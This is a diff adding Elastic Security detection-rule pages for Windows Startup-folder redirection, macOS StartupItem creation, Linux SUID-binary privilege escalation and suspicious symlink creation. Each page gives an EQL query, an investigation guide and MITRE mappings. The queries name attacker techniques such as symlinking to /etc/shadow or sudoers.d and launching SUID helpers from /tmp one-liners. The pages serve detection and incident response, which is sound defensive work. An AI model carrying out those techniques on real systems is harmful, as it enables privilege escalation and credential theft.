+*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign +* https://www.elastic.co/security-labs/revisiting-blister-new-developments-of-the-blister-loader + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Startup Shell Folder Modification* + + + +*Possible investigation steps* + + +- What shell-folder scope changed, and which local path now receives Startup items? + - Why: `registry.value` separates per-user "Startup" from all-users "Common Startup"; all-users scope broadens persistence beyond one profile. + - Focus: `registry.path`, `registry.value`, `registry.hive`, `registry.data.type`, `registry.data.strings`. + - Implication: escalate when `registry.data.strings` points to a user-writable, hidden, deceptive, or all-users local path; lower concern here only for a recognized managed redirection target, then continue through process and user/host checks. + +- Which process and lineage changed the shell-folder value? + - Focus: `process.executable`, `process.command_line`, `process.parent.executable`, `process.parent.command_line`, `process.code_signature.subject_name`. + - Implication: escalate when the writer is a COM broker such as dllhost.exe, script host, LOLBin, renamed binary, user-writable executable, or unrelated parent chain; lower concern for management or packaging tooling only when command line and lineage explain this exact shell-folder write. Signed identity never clears the behavior by itself. + +- Was a startup artifact staged or executed from the redirected path? + - Why: the registry change can be setup only; persistence is proven by startup content in the redirected directory, and delayed staging or value reversion can hide the chain. + - Focus: same-process activity, redirected-directory file events, and command lines referencing `registry.data.strings`. + - !{investigate{"description":"","label":"Activity from this process instance on this host","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"File events in the redirected Startup path","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"file.directory","queryType":"phrase","value":"{{registry.data.strings}}","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Process command lines referencing the redirected path","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.command_line","queryType":"phrase","value":"{{registry.data.strings}}","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - Hint: if file telemetry is available, check file-event writes to that directory; missing file-event visibility is unresolved, not benign. + - Implication: escalate when the modifier or later process writes, launches, or reverts around shortcuts, scripts, or binaries in the redirected directory. + +- Does the creating identity and host context fit one recognized redirection workflow? + - Focus: `user.id`, `user.name`, `user.domain`, `host.id`, `host.name`. + - Implication: escalate when an interactive or ad hoc identity changes Startup resolution on a host that does not normally customize shell folders; lower concern only when identity, host cohort, path, and lineage converge on one recognized management or packaging workflow. + +- If local evidence is suspicious or unresolved, does same-host activity change scope? + - Why: sibling autostart `registry.path` changes can preserve persistence if the redirected Startup folder is noticed, restored, or cleaned. + - Focus: use !{investigate{"description":"","label":"Recent activity on this host","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} for the same `host.id`, then filter for the exact `registry.data.strings` path, sibling autostart `registry.path` changes, and process starts referencing the redirected path. + - Implication: broaden response when the host shows additional shell-folder or Run-key changes, execution from the redirected path, or repeated attempts to use it; keep scope local only when the pivot finds no matching autostart or execution evidence. + +- Do the path, process, payload-use, and context findings support startup-folder evasion? + - Implication: escalate for an unexpected process or actor, suspicious local path, shortcut/script/binary content, redirected-path execution, or same-host persistence/evasion; close only when telemetry narrows the case to one exact recognized workflow and outside confirmation verifies legitimacy where telemetry alone cannot; preserve and escalate when file visibility, process context, or workflow evidence is incomplete. + + +*False positive analysis* + + +- Managed shell-folder redirection or application packaging can repoint "Startup" or "Common Startup" to a nondefault local path, but this is operationally sensitive. Treat these explanations as benign only when alert-window telemetry proves the exact redirected folder, process lineage, expected startup content, and managed host cohort all match one management or packaging job. Use deployment records, management configuration, packaging job logs, or owner confirmation when telemetry alone cannot prove legitimacy; do not close on a management label without this evidence. +- Before exceptioning, validate recurrence of the same `registry.value`, `registry.data.strings`, `process.executable`, `process.command_line`, `process.parent.executable`, `user.id`, and `host.id` pattern after confirming the benign workflow. Build the exception from that minimum workflow, and avoid exceptions on all Startup shell-folder modifications, the whole Explorer shell-folder key family, or the rule name alone. + + +*Response and remediation* + + +- If confirmed benign, record the exact registry path/value/data, process lineage, `user.id`, and `host.id` pattern that proved the recognized workflow, then reverse temporary containment. Keep any exception narrow and require recurrence of that same workflow. +- If suspicious but unconfirmed, preserve the alert, Timeline or case exports, the current shell-folder value, process tree, command line, and redirected-directory contents or metadata when available before changing state. Apply reversible containment first, such as blocking execution from the redirected directory or increasing monitoring on the host. Restore the legitimate Startup path only after evidence capture, dependency review, and validation of the correct per-user or Common Startup path. Isolate the host only when payload execution or related alerts show active compromise. +- If confirmed malicious, collect staged shortcuts, scripts, binaries, hashes, and registry evidence before eradication. Contain the endpoint when its role allows, contain the creating account when the evidence shows account misuse, validate the correct per-user or Common Startup value, restore that value, and remove only the artifacts identified in the investigation. If direct response is unavailable, escalate with the preserved evidence to the team that can act on the host. +- Before cleanup, review other user profiles and the all-users Startup scope for the same redirected path, then verify no process execution still points to that directory. After recovery, restrict shell-folder redirection to controlled management tooling, retain registry/process and available file telemetry needed to connect redirection to later payload staging, and document delayed-staging or value-reversion blind spots for future cases. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : ("Common Startup", "Startup") and + registry.path : ( + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Common Startup", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Common Startup", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Startup", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup", + "HKU\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Startup", + "HKU\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup", + "HKCU\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Startup", + "HKCU\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup", + "\\REGISTRY\\MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Common Startup", + "\\REGISTRY\\MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Common Startup", + "\\REGISTRY\\USER\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Startup", + "\\REGISTRY\\USER\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup", + "MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Common Startup", + "MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Common Startup", + "USER\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Startup", + "USER\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup" + ) and + registry.data.strings != null and + /* Normal Startup Folder Paths */ + not registry.data.strings : ( + "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", + "%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", + "%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", + "%%USERPROFILE%%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", + "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", + "\\\\*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-startupitem-plist-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-startupitem-plist-creation.asciidoc new file mode 100644 index 0000000000..bf2eb8b58c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-startupitem-plist-creation.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-34-suspicious-startupitem-plist-creation]] +=== Suspicious StartupItem Plist Creation + +Detects the creation or modification of a StartupParameters.plist file, indicating the presence of a StartupItem on the system. StartupItems have been deprecated on modern macOS systems (post Mavericks) in favor of Launch Daemons but still function. Creation of a StartupItem should be highly suspicious as legitimate applications no longer use this method for persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious StartupItem Plist Creation* + + +StartupItems are a deprecated macOS persistence mechanism that predates LaunchDaemons and was phased out after OS X Mavericks. Despite deprecation, the StartupItem infrastructure still functions on modern macOS versions for backward compatibility. Because legitimate software no longer uses StartupItems, the creation of a StartupParameters.plist file in /Library/StartupItems/ or /System/Library/StartupItems/ is highly anomalous and strongly indicates malicious activity seeking persistence through an overlooked mechanism. + + +*Possible investigation steps* + + +- Examine the file.path to identify the specific StartupItem directory and verify that it was newly created versus modified. +- Review the StartupParameters.plist contents using plutil to identify the Description, Provides, OrderPreference, and other configuration values. +- Locate the StartupItem script in the same directory (typically named after the item) and analyze its contents for malicious commands. +- Check the process.executable that created the StartupItem to understand the initial delivery mechanism. +- Review file creation timestamps to correlate the StartupItem creation with other suspicious activity on the system. +- Search for additional files or binaries that may have been deployed alongside the StartupItem. +- Check for corresponding entries in /etc/rc files that may interact with the StartupItem. + + +*False positive analysis* + + +- Very old legacy applications may use StartupItems for backward compatibility. Verify the software's legitimacy and whether it is still supported. +- Some enterprise or industrial software may not have been updated to use modern persistence mechanisms. Confirm with IT operations if legacy software is expected. +- Apple's shove process is already excluded in the query as it may interact with StartupItem directories during system maintenance. + + +*Response and remediation* + + +- Remove the entire StartupItem directory containing the malicious StartupParameters.plist and associated scripts. +- Verify that the StartupItem was not successfully executed by checking system logs for execution evidence. +- Reboot the system to confirm the StartupItem has been fully removed and no longer executes. +- Investigate the initial access vector that allowed creation of the StartupItem. +- Search for other deprecated persistence mechanisms on the system that may indicate comprehensive malware deployment. +- Review other systems in the environment for similar StartupItem creations. +- Monitor the /Library/StartupItems/ directory for future unauthorized file creation. +- Consider implementing file integrity monitoring on persistence directories to detect future modifications. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.type != "deletion" and + file.name == "StartupParameters.plist" and + file.path like ("/System/Library/StartupItems/*/StartupParameters.plist", + "/Library/StartupItems/*/StartupParameters.plist") and + not (process.code_signature.signing_id == "com.apple.shove" and process.code_signature.trusted == true) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: Startup Items +** ID: T1037.005 +** Reference URL: https://attack.mitre.org/techniques/T1037/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-suid-binary-execution-auditd-sequence.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-suid-binary-execution-auditd-sequence.asciidoc new file mode 100644 index 0000000000..2dec1c51e0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-suid-binary-execution-auditd-sequence.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-suspicious-suid-binary-execution-auditd-sequence]] +=== Suspicious SUID Binary Execution (Auditd Sequence) + +Detects suspicious sequences where a non-root user launches a high-risk parent process (interpreter, shell one-liner, or execution from user-writable paths) and then quickly executes a common privilege elevation helper (su, sudo, pkexec, passwd, chsh, newgrp) that gains an effective UID of 0 while the real UID remains non-root. This can indicate misuse of SUID/SGID helpers, polkit/sudo abuse, or interactive privilege escalation attempts captured via Auditd Manager telemetry. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1548/ +* https://docs.elastic.co/integrations/auditd_manager + +*Tags*: + +* Data Source: Auditd Manager +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious SUID Binary Execution (Auditd Sequence)* + + +Confirm whether the non-root real user should be invoking su, sudo, pkexec, or account utilities as root. Review the +parent process chain and whether the parent executable location or shell invocation suggests a one-liner or staging +from user-writable paths. + + +*Possible investigation steps* + + +- Review process details for script paths, temp directory execution, or suspicious interpreters. +- Check sudoers / polkit policy changes and recent authentication events for the user. +- Pivot for follow-on persistence (cron, systemd units) or credential access from the same session. + + +*Response and remediation* + + +- If unauthorized, contain the session, revoke elevated access, and review sudoers and polkit configuration for tampering. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=30s + [process where host.os.type == "linux" and event.type == "start" and + event.action == "executed" and + user.id != "0" and user.effective.id != "0" and + ( + process.name like ("python*", "perl*", "ruby*", "php*", "lua*", ".*") or + process.name in ("node", "bun", "java") or + process.executable like ("/tmp/*", "/var/tmp/*", "/dev/shm/*", "/run/user/*", "/var/run/user/*", "/home/*/*") or + ( + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "mksh") and + process.args in ("-c", "--command", "-ic", "-ci", "-cl", "-lc") + ) + ) + ] by process.pid + + [process where host.os.type == "linux" and event.type == "start" and + event.action == "executed" and + user.effective.id == "0" and user.id != "0" and + ( + (process.name in ("sudo", "pkexec") and + not process.args like "-*" and + not process.args : ("/usr/*", "/bin/*", "/sbin/*", "/opt/*")) or + (process.name == "su" and + not process.args in ("--command", "-c", "--shell", "-s")) or + (process.name in ("passwd", "chsh", "newgrp") and + not process.args in ("--shell", "-s", "--help")) + ) + ] by process.parent.pid + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-suid-binary-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-suid-binary-execution.asciidoc new file mode 100644 index 0000000000..feba7c19ae --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-suid-binary-execution.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-34-suspicious-suid-binary-execution]] +=== Suspicious SUID Binary Execution + +Detects execution of SUID binaries that may be used for privilege escalation under the root effective user when the real user and parent user are not root, combined with minimal argument counts and suspicious parent context (interpreters, short shell -c invocations, or parents running from user-writable paths) to indicate potential misuse of SUID binaries for privilege escalation. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1548/ + +*Tags*: + +* Data Source: Elastic Defend +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious SUID Binary Execution* + + +Confirm whether the non-root real user should be invoking SUID binaries as root. Review the parent process tree, script path, and any preceding download or decode activity. + + +*Possible investigation steps* + + +- Inspect `process.parent.command_line` and working directory for obfuscation or one-liners. +- Check authentication and sudoers policy for the user. +- Pivot on the host for additional privilege escalation or persistence in the same session. + + +*Response and remediation* + + +- If unauthorized, contain the session, revoke elevated access, and review sudoers and polkit policy for tampering. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.user.id == "0" and process.real_user.id != "0" and process.parent.user.id != "0") or + (process.group.id == "0" and process.real_group.id != "0" and process.parent.group.id != "0") +) and +( + (process.name in ("su", "passwd", "unix_chkpwd") and process.args_count <= 2) or + ( + process.name in ("pkexec", "fusermount", "fusermount3", "mount", "umount", "newgrp", "chsh") and + process.args_count == 1 + ) or + process.name in ( + "sudoedit", "gpasswd", "chfn", "polkit-agent-helper-1", "dbus-daemon-launch-helper", "ssh-keysign", + "pam_extrausers_chkpwd", "expiry", "chage", "crontab", "wall", "bsd-write", "ssh-agent", + "ping6", "traceroute", "mtr", "ntfs-3g", "Xorg.wrap", "chrome-sandbox", "bwrap" + ) +) and +( + process.parent.name like (".*", "python*", "perl*", "ruby*", "lua*", "php*", "node", "deno", "bun", "java") or + process.parent.executable like ("./*", "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/run/user/*", "/var/run/user/*", "/home/*/*") or + ( + process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "mksh") and + process.parent.args in ("-c", "-cl", "-lc", "--command", "-ic", "-ci", "-bash", "-sh", "-zsh", "-dash", "-fish", "-ksh", "-mksh") and + process.parent.args_count <= 4 + ) +) and +not ( + (process.name == "crontab" and process.args in ("-l", "-e")) or + (process.name in ("passwd", "chsh") and process.args == "--version") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-symbolic-link-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-symbolic-link-created.asciidoc new file mode 100644 index 0000000000..04cade1bf1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-symbolic-link-created.asciidoc @@ -0,0 +1,201 @@ +[[prebuilt-rule-8-19-34-suspicious-symbolic-link-created]] +=== Suspicious Symbolic Link Created + +Identifies the creation of a symbolic link to a suspicious file or location. A symbolic link is a reference to a file or directory that acts as a pointer or shortcut, allowing users to access the target file or directory from a different location in the file system. An attacker can potentially leverage symbolic links for privilege escalation by tricking a privileged process into following the symbolic link to a sensitive file, giving the attacker access to data or capabilities they would not normally have. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Symbolic Link Created* + + +Symbolic links in Linux are shortcuts that point to files or directories, facilitating easy access. Adversaries may exploit these links to redirect privileged processes to sensitive files, potentially escalating privileges or accessing restricted data. The detection rule identifies suspicious link creation by monitoring the execution of the 'ln' command with specific arguments and targets, especially when initiated by non-root users, indicating potential misuse. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of the 'ln' command with suspicious arguments such as "-s" or "-sf" and verify the target files or directories listed in the query, like "/etc/shadow" or "/bin/bash". +- Check the user and group IDs associated with the process to ensure they are not root (ID "0"), as the rule specifically targets non-root users. +- Investigate the parent process name to determine if it is one of the shell processes listed in the query, such as "bash" or "zsh", which might indicate a user-initiated action. +- Examine the working directory and arguments to identify if the symbolic link creation is targeting sensitive locations like "/etc/cron.d/*" or "/home/*/.ssh/*". +- Analyze the user's recent activity and command history to understand the context and intent behind the symbolic link creation. +- Correlate this event with other security alerts or logs to identify any patterns or additional suspicious activities involving the same user or system. + + +*False positive analysis* + + +- Non-root users creating symbolic links for legitimate administrative tasks may trigger the rule. To manage this, identify and whitelist specific users or groups who regularly perform these tasks without malicious intent. +- Automated scripts or applications that use symbolic links for configuration management or software deployment might be flagged. Review these processes and exclude them by specifying the script or application names in the detection rule. +- Development environments where symbolic links are used to manage dependencies or version control can cause false positives. Exclude directories or processes associated with these environments to prevent unnecessary alerts. +- Backup or synchronization tools that create symbolic links as part of their operation may be mistakenly identified. Identify these tools and add exceptions for their typical execution patterns. +- System maintenance activities that involve symbolic link creation, such as linking to shared libraries or binaries, should be reviewed and excluded if they are part of routine operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or potential lateral movement by the attacker. +- Terminate any suspicious processes related to the 'ln' command that are identified in the alert to stop any ongoing malicious activity. +- Conduct a thorough review of the symbolic links created, especially those pointing to sensitive files or directories, and remove any unauthorized or suspicious links. +- Reset credentials and review access permissions for any accounts that may have been compromised or used in the attack, focusing on those with elevated privileges. +- Restore any altered or compromised files from a known good backup to ensure system integrity and prevent further exploitation. +- Implement additional monitoring and logging for symbolic link creation and other related activities to detect similar threats in the future. +- Escalate the incident to the security operations team for further investigation and to assess the need for broader organizational response measures. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.name == "ln" and process.args in ("-s", "-sf") and + ( + /* suspicious files */ + (process.args in ("/etc/shadow", "/etc/shadow-", "/etc/shadow~", "/etc/gshadow", "/etc/gshadow-") or + (process.working_directory == "/etc" and process.args in ("shadow", "shadow-", "shadow~", "gshadow", "gshadow-"))) or + + /* suspicious bins */ + (process.args in ("/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh", "/bin/csh", "/bin/zsh", "/bin/ksh", "/bin/fish") or + (process.working_directory == "/bin" and process.args : ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish"))) or + (process.args in ("/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh", "/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish") or + (process.working_directory == "/usr/bin" and process.args in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish"))) or + + /* suspicious locations */ + (process.args : ("/etc/cron.d/*", "/etc/cron.daily/*", "/etc/cron.hourly/*", "/etc/cron.weekly/*", "/etc/cron.monthly/*")) or + (process.args : ("/home/*/.ssh/*", "/root/.ssh/*","/etc/sudoers.d/*", "/dev/shm/*")) + ) and + process.parent.name in ("bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + not user.Ext.real.id == "0" and not group.Ext.real.id == "0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Technique: +** 